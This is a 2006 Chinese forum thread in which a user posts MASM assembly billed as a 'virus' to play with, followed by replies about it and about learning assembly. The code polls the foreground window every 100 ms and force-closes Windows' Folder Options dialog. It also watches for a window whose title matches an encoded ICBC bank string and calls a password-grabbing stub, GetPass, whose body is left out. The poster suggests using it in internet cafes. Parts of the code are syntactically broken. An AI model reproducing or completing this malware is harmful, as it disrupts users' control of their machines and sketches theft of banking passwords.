首页
社区
课程
招聘
发个汇编写的"病毒"玩玩
发表于: 2006-7-13 18:09 10299

发个汇编写的"病毒"玩玩

2006-7-13 18:09
10299
;MASM 病毒:禁止打开文件夹选项,运行后请用任务管理器结束

.486
.model flat,stdcall
option casemap:none

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
includelib kernel32.lib
include user32.inc
includelib user32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        Equ 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.data

sbar      db "文件夹选项",0
sbar2     db 185,164,201,204,210,248,208,208,0    ;ICBC

.data?
slen dd ?

fwin HINSTANCE ?
hInstance HINSTANCE ?  
CommandLine LPSTR ?
Timerid UINT ?
lpString   byte  127  dup(?)

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

.code
TimerProc PROC hWnd:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

invoke        GetForegroundWindow  ;取前台窗口句柄

mov  fwin,eax

invoke        GetWindowText, fwin,addr lpString,100  ;取窗口标题

.if eax==0
       
ret       
       
.endif
       
invoke lstrlen, offset lpString ;获得长度

mov slen,eax

invoke CharUpperBuff,offset lpString,slen ;转为大写

invoke lstrcmp,addr lpString, addr sbar   ;比较文本

invoke SendMessage,fwin,WM_CLOSE,NULL,NULL

.endif

invoke lstrcmp,addr lpString, addr sbar2  ;比较文本
.if eax==0

invoke GetPass,fwin

.endif

       
               
ret
TimerProc endp

;************************************************************

whileStar PROC

LOCAL @stMsg:MSG

                .while        TRUE
                        invoke        GetMessage,addr @stMsg,NULL,0,0
                       
                       
                        .break        .if (!eax)
                       
                       
                        invoke        TranslateMessage,addr @stMsg
                        invoke        DispatchMessage,addr @stMsg
                .endw

;......
               
ret

whileStar endp

GetPass PROC hwnd:drord

;......

GetPass endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;        程序开始
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

start:
  invoke GetModuleHandle,NULL  
   mov        hInstance,eax
       
  invoke GetCommandLine   
  
   mov CommandLine,eax                                       
       
invoke  SetTimer,NULL,NULL,100, addr TimerProc  ;定时器:100ms

mov Timerid,eax

invoke  whileStar  ;进入消息循环,直到收到退出消息

invoke KillTimer,NULL,Timerid

invoke        ExitProcess,NULL

;********************************************************************

end        start

=================================

实际上也不算病毒,网吧里可能用得着

如果加一个配置文件,就可以结束指定窗口名的程序

等等

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (15)
雪    币: 615
活跃值: (1197)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
写的很巧妙!
2006-7-13 19:18
0
雪    币: 146
活跃值: (33)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
3
病毒定义之一:感染
2006-7-13 19:45
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
不敢试啊,看看
2006-7-16 07:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
汇编啊 是不是非常难学啊?
2006-7-16 13:47
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
6
最初由 玉白菜 发布
汇编啊 是不是非常难学啊?


不是啊
W32ASM很多都是调用API

我原来学易语言的,知道了API后感觉学汇编特简单,多看看例子,汇编

教程基本就能入门了
2006-7-16 16:07
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
7
提醒一下,恶意程序!=病毒喔(虽然我已看到楼主自己给“病毒”二字加了双引号)
2006-7-17 12:32
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
8
最初由 drwch 发布
提醒一下,恶意程序!=病毒喔(虽然我已看到楼主自己给“病毒”二字加了双引号)


2006-7-17 20:44
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
定时获取前台窗口,比较吧!!

谢谢楼主
2006-7-18 01:07
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
10
最初由 drwch 发布
提醒一下,恶意程序!=病毒喔(虽然我已看到楼主自己给“病毒”二字加了双引号)


呵呵,现在病毒的定义可广哦,连增加程序空间的小程序TOPO都算病毒了

 


2006-7-18 17:52
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不懂,楼主自己写的吗?,看齐~
2006-7-27 21:30
0
雪    币: 462
活跃值: (18)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
12
只不过是获取激活窗口的标题,如果是文件夹选项就关闭这个窗口而已

不过能用汇编写出来,已经很棒了,很有水准,绝对支持!
2006-7-27 23:21
0
雪    币: 182
活跃值: (35)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
最初由 非安全 发布
知道了API后感觉学汇编特简单........


佩服!!!
2006-7-28 00:20
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
学WIN32ASM前要先学80X86吗??
2006-7-28 15:47
0
雪    币: 750
活跃值: (228)
能力值: ( LV9,RANK:780 )
在线值:
发帖
回帖
粉丝
15
最初由 Phaniom 发布
学WIN32ASM前要先学80X86吗??


看一些汇编教程就可以了

反正我没学,从0开始,前题是要会用API
2006-7-28 16:06
0
雪    币: 222
活跃值: (10)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
16
ASM的精髓在于优化
2006-7-28 16:43
0
游客
登录 | 注册 方可回帖
返回
//